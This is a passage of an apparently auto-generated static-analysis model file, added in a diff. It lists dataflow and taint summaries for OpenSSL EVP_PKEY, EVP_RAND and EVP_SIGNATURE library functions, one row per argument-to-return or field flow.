"Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_derive_set_peer", "(EVP_PKEY_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*peerkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_derive_set_peer_ex", "(EVP_PKEY_CTX *,EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*peerkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_dup", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_encrypt", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_fromdata", "(EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_generate", "(EVP_PKEY_CTX *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get0", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_DH", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_DH", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_DSA", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_DSA", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_EC_KEY", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_EC_KEY", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_RSA", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_RSA", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_asn1", "(const EVP_PKEY *)", "", "Argument[*0].Field[**ameth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get0_asn1", "(const EVP_PKEY *)", "", "Argument[*0].Field[*ameth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get0_description", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_description", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_engine", "(const EVP_PKEY *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get0_engine", "(const EVP_PKEY *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get0_provider", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_provider", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_type_name", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get0_type_name", "(const EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_DH", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_DH", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_DSA", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_DSA", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_EC_KEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_EC_KEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_RSA", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get1_RSA", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_PKEY_get_attr", "(const EVP_PKEY *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_attr_by_NID", "(const EVP_PKEY *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_attr_by_OBJ", "(const EVP_PKEY *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_attr_count", "(const EVP_PKEY *)", "", "Argument[*0].Field[**attributes].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_bits", "(const EVP_PKEY *)", "", "Argument[*0].Field[*cache].Field[*bits]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_bn_param", "(const EVP_PKEY *,const char *,BIGNUM **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_default_digest_name", "(EVP_PKEY *,char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_ex_data", "(const EVP_PKEY *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_id", "(const EVP_PKEY *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_params", "(const EVP_PKEY *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_security_bits", "(const EVP_PKEY *)", "", "Argument[*0].Field[*cache].Field[*security_bits]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_get_size", "(const EVP_PKEY *)", "", "Argument[*0].Field[*cache].Field[*size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_keygen", "(EVP_PKEY_CTX *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_copy", "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_copy", "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_copy", "(EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get0", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get0_info", "(int *,int *,const EVP_PKEY_METHOD *)", "", "Argument[*2].Field[*flags]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get0_info", "(int *,int *,const EVP_PKEY_METHOD *)", "", "Argument[*2].Field[*pkey_id]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_check", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*check]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_cleanup", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*cleanup]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_copy", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*copy]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_ctrl", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*ctrl]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_ctrl", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*ctrl_str]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_decrypt", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*decrypt]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_decrypt", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*decrypt_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_derive", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*derive]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_derive", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*derive_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_digest_custom", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*digest_custom]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_digestsign", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*digestsign]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_digestverify", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*digestverify]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_encrypt", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*encrypt]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_encrypt", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*encrypt_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_init", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_keygen", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*keygen]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_keygen", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*keygen_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_param_check", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*param_check]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_paramgen", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*paramgen]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_paramgen", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*paramgen_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_public_check", "(const EVP_PKEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*public_check]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_sign", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*sign]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_sign", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*sign_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_signctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*signctx]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_signctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*signctx_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify_recover", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_recover]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verify_recover", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_recover_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verifyctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verifyctx]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_get_verifyctx", "(const EVP_PKEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verifyctx_init]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_new", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*pkey_id]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_new", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_cleanup", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_copy", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_ctrl", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_ctrl", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*ctrl_str]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_decrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*decrypt_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_decrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_derive", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*derive_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_derive", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*derive]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digest_custom", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digest_custom]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digestsign", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digestsign]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_digestverify", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*digestverify]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_encrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*encrypt_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_encrypt", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_init", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_keygen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*keygen_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_keygen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*keygen]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_param_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*param_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_paramgen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*paramgen_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_paramgen", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*paramgen]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_public_check", "(EVP_PKEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*public_check]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_sign", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*sign_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_sign", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*sign]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_signctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*signctx_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_signctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*signctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify_recover", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_recover_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verify_recover", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verify_recover]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verifyctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verifyctx_init]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_meth_set_verifyctx", "(EVP_PKEY_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*verifyctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_mac_key", "(int,ENGINE *,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_private_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_new_raw_public_key", "(int,ENGINE *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_paramgen", "(EVP_PKEY_CTX *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_params", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_private", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_print_public", "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_save_parameters", "(EVP_PKEY *,int)", "", "Argument[*0].Field[*save_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_save_parameters", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*save_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DH", "(EVP_PKEY *,DH *,dh_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DH", "(EVP_PKEY *,DH *,dh_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DSA", "(EVP_PKEY *,DSA *,dsa_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_DSA", "(EVP_PKEY *,DSA *,dsa_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_EC_KEY", "(EVP_PKEY *,EC_KEY *,ec_key_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_RSA", "(EVP_PKEY *,RSA *,rsa_st *)", "", "Argument[1]", "Argument[*0].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_RSA", "(EVP_PKEY *,RSA *,rsa_st *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set1_engine", "(EVP_PKEY *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*pmeth_engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_bn_param", "(EVP_PKEY *,const char *,const BIGNUM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*save_type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type", "(EVP_PKEY *,int)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_set_type_by_keymgmt", "(EVP_PKEY *,EVP_KEYMGMT *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "EVP_PKEY_sign", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_sign_message_final", "(EVP_PKEY_CTX *,unsigned char *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_PKEY_verify_recover", "(EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_Q_mac", "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)", "", "Argument[*9]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_Q_mac", "(OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *)", "", "Argument[9]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_get0_rand", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_get0_rand", "(EVP_RAND_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_new", "(EVP_RAND *,EVP_RAND_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_CTX_new", "(EVP_RAND *,EVP_RAND_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_generate", "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_generate", "(EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_description", "(const EVP_RAND *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_description", "(const EVP_RAND *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_name", "(const EVP_RAND *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_name", "(const EVP_RAND *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_provider", "(const EVP_RAND *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_get0_provider", "(const EVP_RAND *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_RAND_names_do_all", "(const EVP_RAND *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_RAND_nonce", "(EVP_RAND_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_RAND_nonce", "(EVP_RAND_CTX *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_description", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_description", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_name", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_name", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_provider", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", 